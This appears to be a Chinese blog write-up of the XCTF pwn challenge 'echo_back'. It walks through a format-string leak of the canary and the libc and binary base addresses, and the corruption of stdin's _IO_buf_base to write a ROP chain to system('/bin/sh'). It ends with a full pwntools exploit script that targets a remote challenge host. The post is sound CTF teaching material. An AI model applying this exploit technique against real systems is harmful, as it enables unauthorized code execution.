欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

echo_back(xctf)

程序员文章站 2022-05-15 21:41:26
...

0x0 程序保护和流程

保护:

echo_back(xctf)

流程:

main()

echo_back(xctf)

echo_back()

echo_back(xctf)

存在一个格式化字符串漏洞。

0x1 利用过程

1.题目保护全开,程序中又没有可用的字符串,函数。所以只能通过格式化字符串漏洞泄露地址,写入有限数据。

2.既然有格式化字符串漏洞,肯定是要泄露栈上的信息。但是由于限制了字符串最长为7,所以只能逐位泄露。

选择使用ida的远程调试,因为可以丢弃alarm()发出的signal。选择在echo_back()的retn处下断点

echo_back(xctf)

直到到输入%6$p时在栈上发现了被输出的数据(为什么是第6个参数才输出在栈上的值呢?,这要结合x64的传参顺序,前6个参数在寄存器中,之后的再从栈上取数据。现在当第一个参数为输入的字符串,后5个都是寄存器中的数据,所以只有在偏移为6的时候开始从栈上取数据)。

echo_back(xctf)

此时在retn处程序停止执行。可以看到0x7FFEEF3D35E0处为偏移量为6。

echo_back(xctf)

rsp指向栈顶位置,也就是返回的地址位置为main+0x9C。

echo_back(xctf)

此时可以通过掌握的基础知识分析处几个点(结合上述图片食用)。

  • retn指令在执行之前还有一个leave指令,而leave指令相当于。
mov rsp,rbp
pop rbp

通过寄存器信息可以得出main函数的rbp位于0x7FFEEF3D3640。main函数的返回地址位于0x7FFEEF3D3648。

  • 发现栈上0x7FFEEF3D3638和0x7FFEEF3D3608中的数据是一样的,它们也同时位于各自rbp-0x8的位置。所以可以判断出这两个是canary的值。
  • 可以找到之前输入的数据,结合echo_back()中的数据摆放位置可以轻松找到,输入的数据长度7位于0x7FFEEF3D35FC,"%6$p\n"位于0x7FFEEF3D3600=0x7FFEEF3D35FC+0x4。
  • 可以知道main函数中的变量name存放的位置,rbp-0x10=0x7FFEEF3D3640-0x10=0x7FFEEF3D3630

3.通过以上分析可以知道libc的基地址,elf文件加载的基地址,main函数的返回地址。但是由于输入限制了字符串最长为7,导致无法大量的向程序中写入数据。通过查阅资料(ctf-wiki)得知,因为进程中包含了系统默认的三个文件流 stdin\stdout\stderr,因此这种方式可以不需要进程中存在文件操作,通过 scanf\printf 一样可以进行利用。并且可以在 libc.so 中找到 stdin\stdout\stderr 等符号,这些符号是指向 FILE 结构的指针,真正结构的符号是

_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_

在libc中的位置。

echo_back(xctf)

_IO_FILE 结构体

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
};

在_IO_FILE 中_IO_buf_base 表示操作的起始地址,_IO_buf_end 表示结束地址,结合对文件读写的源码,可以发现_IO_new_file_underflow 这个函数最终调用了_IO_SYSREAD系统调用来读取文件。所以可以通过控制这两个数据可以实现控制读写的操作。

int
_IO_new_file_underflow (_IO_FILE *fp)
{
  _IO_ssize_t count;
#if 0
  /* SysV does not make this test; take it out for compatibility */
  if (fp->_flags & _IO_EOF_SEEN)
    return (EOF);
#endif

  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
/* 如果现在指针中还有数据就直接返回 */
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;

  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
	{
	  free (fp->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }
  if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
#if 0
      _IO_flush_all_linebuffered ();
#else
      _IO_acquire_lock (_IO_stdout);

      if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (_IO_stdout, EOF);

      _IO_release_lock (_IO_stdout);
#endif
    }

  _IO_switch_to_get_mode (fp);
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;
/* 通过_IO_buf_base,_IO_buf_end读取数据,并返回成功读取的字节个数 */
  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
		       fp->_IO_buf_end - fp->_IO_buf_base);
  if (count <= 0)
    {
      if (count == 0)
	fp->_flags |= _IO_EOF_SEEN;
      else
	fp->_flags |= _IO_ERR_SEEN, count = 0;
  }
/* 将_IO_read_end加上成功读取的字节个数 */
  fp->_IO_read_end += count;
  if (count == 0)
    {
      fp->_offset = _IO_pos_BAD;
      return EOF;
    }
  if (fp->_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp->_offset, count);
  return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

对_IO_FILE分析。

echo_back(xctf)

内存中的数据,0x7F3052F47918处为_IO_buf_base,0x7F3052F47920处为_IO_buf_end

echo_back(xctf)

如果此时将_IO_buf_base的第一个字节覆盖成\x00就可以发现_IO_buf_base中的数据落到了_IO_write_base处,结合源码可知下一次调用scanf时会从_IO_write_base开始写入0x64个字节,可以将_IO_buf_base,和_IO_buf_end覆盖成main函数的返回地址和main函数的返回地址+ROP的字节数。那么再下一次调用scanf的时候就会向main函数的返回地址处写入数据了。解决了无法大量写入数据的问题。但是问题并没有那么简单,结合上面的输入源码可知。

/* 将_IO_read_end加上成功读取的字节个数 */
  fp->_IO_read_end += count;

这样会导致无法进行正常输入。

/* 如果现在指针中还有数据就直接返回 */
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;

程序直接返回_IO_read_ptr。解决的方法是通过程序的getchar函数,因为执行getchar函数可以将_IO_read_ptr++

#define _IO_getc_unlocked(_fp) \
       (_IO_BE ((_fp)->_IO_read_ptr >= (_fp)->_IO_read_end, 0) \
	? __uflow (_fp) : *(unsigned char *) (_fp)->_IO_read_ptr++)

#include "libioP.h"
#include "stdio.h"

#undef getchar

int
getchar (void)
{
  int result;
  _IO_acquire_lock (_IO_stdin);
  result = _IO_getc_unlocked (_IO_stdin);
  _IO_release_lock (_IO_stdin);
  return result;
}

#if defined weak_alias && !defined _IO_MTSAFE_IO
#undef getchar_unlocked
weak_alias (getchar, getchar_unlocked)
#endif

所以可以调用getchar函数将_IO_read_ptr改至可以正常使用scanf函数,之后就可以完成ROP了。

4.总结以上的分析,首先通过格式化字符串漏洞泄露出libc和elf的基地址以获取ROP链中的需要的gadget的真实地址,main函数的返回地址。再通过这个漏洞改写_IO_buf_base使之能够向我们期望的地址中写入数据,最后通过scanf函数写入ROP链。

  • 泄露libc的基地址并计算出system,/bin/sh字符串,stdin,stdin中的buf_base的真实地址。
echoBack('%19$p\n')
sh.recvuntil('0x')
libc_start_main_addr=int(sh.recvline(),16)-0xF0
libc_base=libc_start_main_addr-libc_start_main_libc
system_addr=libc_base+system_libc
bin_sh_addr=libc_base+bin_sh_libc
stdin_addr=libc_base+stdin_libc
buf_base=stdin_addr+0x8*7
  • 泄露elf的基地址并计算出pop_rdi的真实地址。
echoBack('%13$p\n')
sh.recvuntil('0x')
elf_base=int(sh.recvline(),16)-0x9C-main_addr
pop_rdi_addr+=elf_base
  • 泄露main函数的返回地址。
echoBack('%12$p\n')
sh.recvuntil('0x')
main_ret_addr=int(sh.recvline(),16)+0x8
  • 修改_IO_buf_base。
setName(p64(buf_base))
echoBack('%16$hhn')
  • 将_IO_buf_base,和_IO_buf_end覆盖成main函数的返回地址和main函数的返回地址+ROP的字节数。
payload=p64(stdin_addr+0x83)*3+p64(main_ret_addr)+p64(main_ret_addr+0x18)
echoBack('\n',payload)
  • 调用getchar函数将_IO_read_ptr改至可以正常使用scanf函数。
# 输入完payload后已经调用了一次getchar(),所以需要减一
for i in range(0, len(payload) - 1):
    sh.sendlineafter('choice>>','2')
    sh.sendlineafter('length:','')
  • 写入ROP。
payload=p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
echoBack('\n',payload)

0x2 exp

from pwn import *
context.log_level='debug'
local=1
if local:
    sh=process('./a')
    libc=ELF('./libc')
else:
    sh=remote('220.249.52.133','59538')
    libc=ELF('./libc.so.6')

main_addr=0xC6C
pop_rdi_addr=0xD93
stdin_libc=libc.symbols['_IO_2_1_stdin_']
libc_start_main_libc=libc.symbols['__libc_start_main']
system_libc=libc.symbols['system']
bin_sh_libc=libc.search('/bin/sh').next()

def setName(name):
    sh.sendlineafter('choice>> ','1')
    sh.sendafter('name:',name)

def echoBack(string,length='7\n'):
    sh.sendlineafter('choice>> ','2')
    sh.sendafter('length:',length)
    sh.send(string)

def end():
    sh.sendlineafter('choice>> ','3')

echoBack('%19$p\n')
sh.recvuntil('0x')
libc_start_main_addr=int(sh.recvline(),16)-0xF0
libc_base=libc_start_main_addr-libc_start_main_libc
system_addr=libc_base+system_libc
bin_sh_addr=libc_base+bin_sh_libc
stdin_addr=libc_base+stdin_libc
buf_base=stdin_addr+0x8*7

echoBack('%13$p\n')
sh.recvuntil('0x')
elf_base=int(sh.recvline(),16)-0x9C-main_addr
pop_rdi_addr+=elf_base

echoBack('%12$p\n')
sh.recvuntil('0x')
main_ret_addr=int(sh.recvline(),16)+0x8

setName(p64(buf_base))

echoBack('%16$hhn')

payload=p64(stdin_addr+0x83)*3+p64(main_ret_addr)+p64(main_ret_addr+0x18)
echoBack('\n',payload)
for i in range(0, len(payload) - 1):
    sh.sendlineafter('choice>>','2')
    sh.sendlineafter('length:','')

payload=p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
echoBack('\n',payload)
end()
sh.interactive()

0x3 总结

这个题目涉及的知识较多,理解起来可能比较困难且耗费时间长,遇到不懂的地方需要耐心看GLIBC源码,注重紧扣目标(getshell)的同时找出与题目给出的信息之间的逻辑。

相关标签: xctf(pwn高手区)